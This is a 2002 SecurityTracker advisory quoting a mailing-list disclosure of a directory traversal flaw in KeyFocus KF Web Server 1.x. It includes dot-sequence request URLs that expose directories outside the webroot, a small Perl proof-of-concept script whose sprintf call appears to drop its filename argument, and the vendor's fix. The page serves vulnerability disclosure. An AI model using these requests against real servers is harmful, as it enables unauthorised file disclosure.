SecurityTracker.com
Keep Track of the Latest Vulnerabilities
with SecurityTracker!
    Home    |    View Topics    |    Search    |    Contact Us    |   

SecurityTracker
Archives


 
Sign Up
Sign Up for Your FREE Weekly SecurityTracker E-mail Alert Summary
Instant Alerts
Buy our Premium Vulnerability Notification Service to receive customized, instant alerts
Affiliates
Put SecurityTracker Vulnerability Alerts on Your Web Site -- It's Free!
Partners
Become a Partner and License Our Database or Notification Service
Report a Bug
Report a vulnerability that you have found to SecurityTracker
bugs
@
securitytracker.com






Category:   Application (Web Server/CGI)  >   KF Web Server Vendors:   KeyFocus Ltd.
KeyFocus KF Web Server Discloses Files on the System to Remote Users
SecurityTracker Alert ID:  1005620
SecurityTracker URL:  http://securitytracker.com/id/1005620
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Nov 13 2002
Impact:   Disclosure of system information, Disclosure of user information
Fix Available:  Yes  Vendor Confirmed:  Yes  Exploit Included:  Yes  
Version(s): 1.x
Description:   An input validation vulnerability was reported in the KF Web Server. A remote user can view certain files on the system that are located outside of the web document directory.

It is reported that KF Web Server does not properly handle URL requests that contain consecutive dot characters ('.') in the file name. The following URLs can be requested to obtain the contents of various directories:

http://kfws/... - Yields the contents of the KF Web Server install directory
http://kfws/.... - Yields the contents of the Program Files directory
http://kfws/..... - Yields the contents of the root directory

According to the report, only files with recognized MIME types can be viewed using this exploit method.

A demonstration exploit script is provided in the Source Message.

Impact:   A remote user can view certain types of files on the system located in certain directories (that are outside of the web document directory).
Solution:   The vendor has released a fixed version (2.0.0 Beta), available at:

http://www.keyfocus.net/kfws/download/beta.php

Vendor URL:  www.keyfocus.net/kfws/ (Links to External Site)
Cause:   Input validation error
Underlying OS:   Windows (Me), Windows (98), Windows (2000), Windows (XP)

Message History:   None.


 Source Message Contents

Date:  Wed, 13 Nov 2002 17:06:24 -0500
Subject:  [VulnWatch] KeyFocus KF Web Server File Disclosure Vulnerability


KeyFocus Web server is a Win32 HTTP server with web administration, a
variety of logging formats, such as NCSA and W3C, CGI, compression, memory
caching of static documents, directory indexing, pre-defined MIME settings,
internal authentication with support for multiple realms, and a variety of
URL checks that make it more secure against hacking attempts such as buffer
overruns.

KFWS 1.x contains a flaw that enables attackers to traverse above the
webroot in the directory structure.  This is not a traditional directory
traversal attack.  KFWS does not properly handle consecutive dot characters
in the file name:

http://kfws/.           - Current Directory
http://kfws/..          - 403 Forbidden
http://kfws/...         - KFWS install dir (OOPS!)
http://kfws/....        - Program Files
http://kfws/.....       - \

This vulnerability is limited by the internal hack defenses of the server
-- only files with recognized MIME types can be retreived.  This
significantly limits the damage from this vulnerability.

KFWS v2.0.0 (Beta) eliminates this vulnerability, and the next stable
version will eliminate the flaw as well.  Administrators who are concerned
about this flaw should upgrade to the beta.

I've included a Perl script to demonstrate this vulnerability:

#!/usr/bin/perl
use URI::Escape;
use IO::Socket;
if (@ARGV < 2) {
print STDOUT "Usage: perl $0 [filename] [host] [port]";
} else {
$f =
IO::Socket::INET->new(PeerAddr=>$ARGV[1],PeerPort=>$ARGV[2],Proto=>"tcp");
$url = uri_escape($ARGV[0]);
$exploit = sprintf("GET /.............../%s HTTP/1.0\r\n\r\n");
print $f $exploit;
undef $f;
}

--------------------------------------------------------------------
mail2web - Check your email from the web at
http://mail2web.com/ .




 
 


Go to the Top of This SecurityTracker Archive Page





Home   |    View Topics   |    Search   |    Contact Us

Copyright 2014, SecurityGlobal.net LLC